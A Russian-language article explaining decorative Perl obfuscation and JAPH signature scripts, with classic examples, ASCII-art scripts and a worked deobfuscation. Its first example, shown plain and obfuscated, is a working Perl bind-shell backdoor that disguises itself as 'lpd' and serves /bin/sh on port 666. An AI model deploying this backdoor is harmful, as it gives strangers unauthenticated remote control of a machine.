Содержание статьи
print "Just another Perl hacker,"
if "you can't think of anything better..."
merlyn
intr0
В этой небольшой статье я хочу коснуться такой не совсем обычной, и потому весьма интересной темы, как декоративная обфускация кода, а если быть более точным, кода на языке PERL, а также рассказать о PERL-скриптах, которые принято называть japh. Статья носит, прежде всего, ознакомительный характер. Надеюсь она будет интересна начинающим PERL-кодерам, или же просто людям интересующимся.
Обфускация по-хакерски 😉
И если термин "обфускация" вряд ли будет незнакомым читателю, то словосочетание "декоративная обфускация" у многих может вызвать удивление и, полагаю, здоровый интерес к этому явлению. А потому давай поглядим сначала, в чем, собственно, разница между обфускацией кода и его декоративной обфускацией.
Простое и понятное определение термина "обфускация" можно наблюдать в онлайн-энциклопедии Wikipedia, в которой сказано, что "обфускация - это запутывание кода программы, то есть приведение исходного текста или исполняемого кода к виду, сохраняющему функциональность программы, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции". В этой статье, понятное дело, будет рассматриваться только обфускация применительно к исходному тексту программы, а не исполняемого кода.
Скриптовые языки программирования диктуют необходимость применения обфускации в качестве защиты от несанкционированной модификации и копирования кода. Скрипт, содержащий изначально легкочитабельный код, пройдя через огонь, воду и медные трубы алгоритмов обфускации, возвращается из программы-обфускатора совершенно неузнаваемым, и, чтоб вернуть его к нормальному для восприятия виду, можно потратить времени зачастую гораздо больше, чем на разработку его аналога, что и требуется программистам, желающим защитить свой исходный код от недобросовестных конкурентов-плагиаторов и просто для того, чтоб скрыть свой код от глаз любопытствующих (читай - чтоб хакерам было сложнее искать ошибки в нем).
Существуют несколько типов алгоритмов обфускации исходного кода, но здесь в подробностях останавливаться на них я не стану, так как это весьма обширная тема, которой можно посвятить отдельную статью. Можно выделить три основных вида обфускации:
- лексическую обфускацию (понижение читабельности кода);
- обфускацию данных (различные манипуляции с данными);
- обфускацию управления (запутывание последовательности выполнения программного кода)
Каждый вид обфускации может быть реализован с помощью различных техник, зачастую являющихся специфичными для отдельных языков программирования.
Теперь неплохо было бы привести немного примеров. Допустим, мы имеем вот такой скрипт:
use Socket; $port = 666; $proto = getprotobyname('tcp'); $cmd = "lpd"; $system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh'; $0 = $cmd; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!"; bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; for(; $paddr = accept(CLIENT, SERVER); close CLIENT) { open(STDIN, ">&CLIENT"); open(STDOUT, ">&CLIENT"); open(STDERR, ">&CLIENT"); system($system); close(STDIN); close(STDOUT); close(STDERR); }
Попробуем отдать этот скриптик на съедение программе-обфускатору. И что мы имеем на выходе? А вот это:
Cкрипт, обфусцированный Perl Code Obfuscator v. 1.0
use Socket; $neyc = 666; $RREtS = getprotobyname('tcp'); $msE = "\x6C\x70\x64"; $SIiJBu = 'echo "\x28\x60\x77\x68\x6F\x61\x6D\x69\x60\x40\x5A\ x61\x6C\x51\x48\x4E\x20\x2D\x6E\x60\x3A\x60\x70\x77\ x64\x60\x29"; /bin/sh'; $0 = $msE; socket(SERVER, PF_INET, SOCK_STREAM, $RREtS) or die "\x73\x6F\x63\x6B\ x65\x74\x3A\x24\x21"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("\x6C", 1)) or die "\x73\x65\x74\x73\ x6F\x63\x6B\x6F\x70\x74\x3A\x20\x24\x21"; bind(SERVER, sockaddr_in($neyc, INADDR_ANY)) or die "\x62\x69\x6E\ x64\x3A\x20\x24\x21"; listen(SERVER, SOMAXCONN) or die "\x6C\x69\x73\x74\x65\x6E\x3A\x20\x24\x21"; for(; $CtZiH = accept(CLIENT, SERVER); close CLIENT) { open(STDIN, "\x3E\x26\x43\x4C\x49\x45\x4E\x54"); open(STDOUT, "\x3E\ x26\x43\x4C\x49\x45\x4E\x54"); open(STDERR, "\x3E\x26\ x43\x4C\x49\x45\x4E\x54"); system($SIiJBu); close(STDIN); close(STDOUT); close(STDERR); }
Как видишь, код стал гораздо менее читабельным. И хотя привести к нормальному виду его будет несложно (так как тут был в основном задействован сравнительно простой вид обфускации - лексическая обфускация, и уже в меньшей степени - обфускация данных), задача деобфускации значительно усложняется, когда необходимо разобраться в коде продукта, состоящего из множества файлов, причем достаточно немаленьких размеров.
А теперь предлагаю взглянуть на великолепный пример декоративно обфусцированного кода.
Evolutionary japh by liverpole
s''map{$j ^=1;map{$g{$j}{ $_}=1}split//}spl it"/",$G||="23/3";s ub#g{$z=pop;$r=\$C[ 64*$x+$y];$Q=$x<0|| $x>63||$y<0||$y>63? 0:$$r;if($z>=0&&$ Q!=$z){$$r=$z;$ M=512*$x+ 8*$y;$I=$ I[$M]and$c->del ete($I);$I[$M]=cr eateOval$c(3+8*$x,3 +8*$y,9+8*$x,9+8*$y ,-f=>$z?"blue":$N,o utline=>$N)}$Q}use# Tk;$m=new#MainWin dow(title=>$G); $c=$m->Ca nvas(w,51 4,he,514) ->pack;af ter$m(1,sub{$N= cget$c(bg);@S=0 ..63;map{$a=2+8 *$_;@D=(2,$a,515, $a);map{createLin e$c(@D);@D=($a,@D );pop@D}7..8}@S,64; $F?do{open(_,$F);ma p{$x=0;map{g(/@/);$ x++}split//;++$y;}< _>}:map{$x=$_;map{$ y=$_;g(1>rand#4)}@S }@S;{for$p(@S){map{ $q=$_;$t=0;for$v(-1 ..1){map{$x=$p+$_;$ y=$v+$q;$g=g(-1);$_ ||$v#or$G=$g;$t+=$g ;}(-1..1)}$N[64*$p+ $q]=$g{$G||0}{$t- $G}}@S}for$x(@S){ map{$y=$_;g+$N[64 *$x+$_]}@S}upda te$m;redo}});Ma inLoop';s#\s##g ;s& &g; ($F,$G)=@ ARGV;eval
Весьма интересный "код", не правда ли? Я даже написал слово "код", обрамив кавычками, потому как приведенный выше пример несколько выходит за рамки того, что обычно обозначают словом "код". Запускай интерпретатор perl поскорей, чтоб посмотреть, что делает этот маленький скриптик. Честно говоря, когда я впервые запустил этот скрипт, я пребывал в состоянии некоторого восторга, с трудом понимая, как можно засунуть в пять кружочков эмблемы хакинга подобный алгоритм.
Ты, наверное, заметил в названии вышеприведенного скрипта слово japh. Дело в том, что декоративная обфускация perl-кода неразрывно связана с этим явлением, japh, а потому давай познакомимся поближе со значением этого слова.
JAPH
Japh - это аббревиатура, означающая "Just Another Perl Hacker", по-русски - "Еще один хакер PERL" или же "Просто еще один perl-хакер". Изначально словом japh называли короткую программку на языке PERL, выводящую на экран строку "Just Another Perl Hacker", демонстрируя при этом возможности и гибкость языка, причем зачастую в ущерб производительности.
Japh обрели популярность в начале 90-х во многом благодаря гуру PERL Рэндалу Шварцу
aka merlyn. Он стал использовать japh в качестве подписи, модерируя новостную группу, посвященную языку PERL comp.lang.perl, с целью подчеркнуть то, что он пытался объяснить в своем сообщении.
Несколько примеров "классических" japh (я привожу тут эти примеры в формате, содержащем поля "Date" и "From", чему обязывают существующие неписанные каноны публикации таких
japh):
Date: 17 Mar 90 22:34:02 GMT From: merlyn@iwarp.intel.com (Randal Schwartz) @X=split(//,'Just another Perl hacker,');*Y=*X;print @Y; Date: 20 Mar 90 01:21:37 GMT From: merlyn@iwarp.intel.com (Randal Schwartz) $_=',Pr0e=kRcza0hb 5lOr+e"PE :rBe}hRtho]nhaj nt.s[u=J@';s/../unshift(a,$&)/eg;chop(@a);print@a; Date: 20 Mar 90 01:53:40 GMT From: merlyn@iwarp.intel.com (Randal Schwartz) print "Just another Perl hacker," x "1no time to write a cute signature"; Date: 20 Mar 90 20:35:16 GMT From: merlyn@iwarp.intel.com (Randal Schwartz) $_='5O1v3v5y9)1b7u2q4x1i0e3u2"3S9n5w7s6&7o7h8k1l6k3u3/';s/(.)(.)/pack('C',ord($2)-$1)/eg;print; Date: 20 Mar 90 23:33:06 GMT From: merlyn@iwarp.intel.com (Randal Schwartz) eval <<EOF; print "Just another Perl hacker," EOF
Как видишь, japh могли быть как достаточно простыми, так и довольно-таки запутанными и сложными для восприятия. Со временем их сложность все возрастала, программеры стали писать japh просто ради собственного удовольствия и чтобы продемонстрировать свое мастерство владения PERL, и japh увеличивались в размерах, становились все сложнее и часто стали приобретать декоративный вид, напоминая творчество ascii-художников. Как, например этот PERL-код:
STAR WARS
japh
#!/usr/local/bin/perl undef$/;$_=<DATA>;y/ODA\n / /ds;@yoda=map{length}split;print chr oct join('',splice(@yoda,0,3))-111 while@yoda; __DATA__ 00O00O000O00O0000 000O DD000000O0 0DO0000000O0000O00 O00000 00O00000O0O 0000 0O0 O00 O00 00D 0DO 00O0 0O0 00D 000 DO0D00000D 0O00 DOD 000000O00000 000 O00O DD0000D000O0 000 0O00O0000D00DO 0OD D00O000D00O0 00000DO00O0 000 000O 00D0 O0D O00000O0DO0 0O000 OD0D O00O0 0000 DDDO000000 O00O000000 0O000 O00DDO 00000 0O0D00 00O0O00000O 0O00O000000 0O0O00OD00000DDD 00O 0D0 DDD D0O 00O0D 00000O00000000 O00 DO0 D00D00O000 00D00 D0O00 O0000 000O000O00DO 000 00O0 0OD00 O00 000 0O000D000O00O0 000 0D0O000000O00O00 0 0 0O0D 0000 0O0 0O0000000O000O
Или этот верблюд - эмблема PERL (это пример "визуального" japh, для корректного просмотра которого предварительно выставь в настройках консоли "разрешение" 120x48 символов, а вот шрифт лучше выбери поменьше):
#!/usr/bin/perl -w sub j(\$){($ P,$V)= @_;while($$P=~s:^ ([()])::x){ $V+=('('eq$1)?-32:31 }$V+=ord( substr( $$P,0,1,""))-74} sub a{ my($I,$K,$ J,$L)=@_ ;$I=int($I*$M/$Z);$K=int( $K*$M/$Z);$J=int($J*$M /$Z);$L=int($L*$M/$Z); $G=$ J-$I;$F=$L-$K;$E=(abs($ G)>=abs($F))?$G:$F;($E<0) and($ I,$K)=($J,$L);$E||=.01 ;for($i=0;$i<=abs$E;$i++ ){ $D->{$K +int($i*$F/$E) }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$ Z=$z||.01;map{ $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L); ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y} ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{ require Win32::Console::ANSI};$b=$w?'1;7;':'';($j,$u,$s,$t,$a,$n,$o ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'. 'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'. ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'. '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'. 'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'. 'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'. 'ZP[Z'. 'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'. '[Z\U'. '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'. 'BCB*'. 'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int rand 4];map{printf "\e[$b;%dm",int(rand 6)+101-60* ($w ||0);system( "cls")if$w ;($A,$S)= ($_[1], $ _[0]);($M, @,)= split '}';for( $z=256 ;$z>0; $z -=$S){$S*= $A;p @,} sleep$_ [2];while ($_[3]&&($ z+=$ S) <=256){ p@,}}("". "32}7D$j" ."}AG". "$u}OG" ."$s}WG" ."$t","" ."24}(" ."IJ$a" ."}1G$n" ."}CO$o" ."}GG$t" ."}QC" ."$h}" ."^G$e" ."})IG" ."$r", "32}?" ."H$p}FG$e}QG$r". "}ZC" ."$l", "28}(LC" ."" ."". "$h}:" ."J$a}EG". "$c" ."}M" ."C$k}ZG". "$e" ."}" ."dG$r","18" ."}(" ."D;" ."$C" )}{h(16 ,1,1,0 );h(8, .98,0,0 );h(16 ,1,1,1) ;h(8.0 ,0.98,0, 1); redo}### #written 060204 by #liverpole @@@@@@@ #@@@@@@@@@@@
После такого выводить строчку из четырех слов в своем japh perl-кодерам стало уже не так интересно, и потому программы-japh сегодня уже вовсе не обязательно выведут вам заветное "Just Another Perl Hacker". По сути, теперь japh'ом, помимо скрипта, выводящего на экран "Just...", можно назвать любой декоративно-обфусцированный PERL-скрипт.
Разбор japh
Некоторые japh, возможно, удивят не только начинающих кодеров. Как, например, этот ставший уже знаменитым квадрат (не Малевича =)):
japh из ключеывх слов PERL
not exp log srand xor s qq qx xor s x x length uc ord and print chr ord for qw q join use sub tied qx xor eval xor print qq q q xor int eval lc q m cos and print chr ord for qw y abs ne open tied hex exp ref y m xor scalar srand print qq q q xor int eval lc qq y sqrt cos and print chr ord for qw x printf each return local x y or print qq s s and eval q s undef or oct xor time xor ref print chr int ord lc foreach qw y hex alarm chdir kill exec return y s gt sin sort split
Вышеприведенный скрипт состоит только из ключевых слов языка PERL. Может ли он вообще быть рабочим? Интерпретатор доказывает нам, что может. Итак, давай попробуем разобраться, как он работает, а для этого попробуем привести его к "нормальному" виду - произведем деобфускацию кода =).
Первое, что я уловил взглядом, это то, где запрятана среди кода строчка "Just...". А затем, разглядев в коде строки, печатающие пробелы между словами, решил поделить код на 4 части для упрощения его анализа:
not exp log srand xor s qq qx xor s x x length uc ord and print chr ord for qw q Join Use Sub Tied qx xor eval xor print qq q q int eval lc q m cos and print chr ord for qw y Abs Ne Open Tied Hex Exp Ref y m xor scalar srand print qq q q int eval lc qq y sqrt cos and print chr ord for qw x Printf Each Return Local x y or print qq s s eval q s undef or oct xor time xor ref print chr int ord lc foreach qw y Hex Alarm Chdir Kill Exec Return y s gt sin sort split
Начнем с 1-й части. Возьмем первую строку кода, но прежде я в качестве интересного примера приведу такую строчку:
print '123' xor print '456' xor print '789'
Скормив ее интерпретатору, можно убедиться в том, что логический оператор xor, в принципе, при определенных условиях легко может послужить заменой символу ";", разделяющему операторы PERL. Итак:
not exp log srand xor s qq qx xor
можно преобразовать как
s// /x;
Дело в том, что "not exp log srand" всегда равно значению "ложь" и может не учитываться, так как роли никакой не играет. Посмотрим на последующий участок кода:
s x x length uc ord and print chr ord for qw q join use sub tied qx xor eval xor print qq q q xor
Его можно представить в более читабельном виде:
s/ / length uc ord and print chr ord for qw q join use sub tied q/; eval $_; print ' ';
Код "print chr ord for qw q join use sub tied q", который печатает слово "just" легко приводится к виду:
print chr ord for ('join', 'use', 'sub', 'tied')
или просто, к равнозначному по результату, "print 'just'". В итоге получаем, что первые 4 строки скрипта равнозначны следующим:
s// /x; # тут встроенной переменной $_ присваивается значение " " s/ / length uc ord and print 'just'/; # теперь в $_ пробел заменяется на данный код eval $_; # "print 'just'" исполняется, т.к. "length uc ord" всегда равно "истине" print ' '; # печатаем пробел после слова "just"
Далее следует код 2-й части, выводящий на экран
"another ":
int eval lc q m cos and print chr ord for qw y abs ne open tied hex exp ref y m xor scalar srand print qq q q
Здесь "print chr ord for qw y abs ne open tied hex exp ref y" эквивалентно "print 'another'", тогда "int eval lc q m cos and print 'another' m" можно записать как "int eval lc q m cos and print 'another' m". И если убрать всю лишнюю мишуру, то в итоге получается:
eval "print 'another'";
print ' ';
Аналогичным образом можно деобфусцировать код, выводящий "perl " и "hacker". Как видишь, ничего сложного в этом квадрате и нет, деобфускация проходит весьма просто (потому как я выбрал весьма простой пример =)). После того, как мы разобрались с квадратом из ключевых слов PERL, нас уже подобными japh не удивишь ). Интересно, сможешь ли ты самостоятельно разобраться в том, как работает код, приведенный ниже, состоящий на этот раз из одних только знаков символов? =)
Code Monolith by boo
''=~('('.'?' . '{'.( '/'.'/'.')'.'.'.'/'. '`'.'|'.'`'.'.'.'.'. '/'.'`'.'`'.'.'.'/'. '/'.'('.':'.'/'.'`'. '~'.':'.'/'.','.'`'. '`'.':'.'>'.'+'.':'. '/'.'|'^'_'.']'.'@'. '@'.'['.'@'.'['.'*'. '['.']'.'['.'@'.'!'. '@'.'@'.'['.'@'.'_'. ']'.'@'.'.'.'_'.']'. '@'.'@'.'('.'['.']'. '@'.'_'.']'.'[').',' .'$' .'/'.'}'.')' );
Попробуй после прочтения статьи разделаться с ним самостоятельно, а я пока познакомлю тебя с еще одной интересной разновидностью japh, фишка которой заключается не в сложной обфускации или прикольном оформлении, а в том, что он, этот japh, "мультиязычный" (такой код иногда еще называют не иначе как "полиглот" =)). Взгляни на этот пример:
#include <stdio.h> int main(int argc, char ** argv) /* 0 if 0; #*/ { printf("Just another C/Perl Hacker !"); }
Итак, из приведенных в этой статье примеров japh-скриптов, мы увидели, что из себя представляет декоративная обфускация кода. Она может включать в себя все виды обфускации обыкновенной. Кроме того, в japh часто используются малоизвестные возможности языка, и конструкции, которые редко можно будет повстречать в обычном коде.
В заключение
В заключение хочется лишь добавить ко всему изложенному выше, что изучение чужих japh и написание собственных - это отличный способ повысить свой уровень владения языком PERL. А потому очень рекомендую пройтись по приведенным ниже ссылкам на ресурсы,
посвященные данной тематике. И не забывай, что под декоративной обфускацией, помимо кода, выводящего "Just...", можно замаскировать какой угодно код, в том числе и вредоносный, а потому никогда не спеши запускать обфусцированный код сомнительного происхождения. Если тебя заинтересовали примеры japh, которые приводились в этой статье, то рекомендую пройтись по нижеприведенным ссылкам на ресурсы, посвященные данной тематике.
Links
http://perlmonks.org - пристанище всех англоязычных PERL-адептов. Имеется раздел "Obfuscated Code". Очень рекомендую посетить
http://www.cpan.org/misc/japh
- классика жанра, коллекция japh на CPAN
http://www-128.ibm.com/developerworks/linux/library/l-japh.html - статья "Cultured Perl: The elegance of japh" Теодора Златанова (Teodor Zlatanov) о japh
http://ucan.foad.org/~abigail/Perl/Talks/japhs/
- раздел сайта Abigail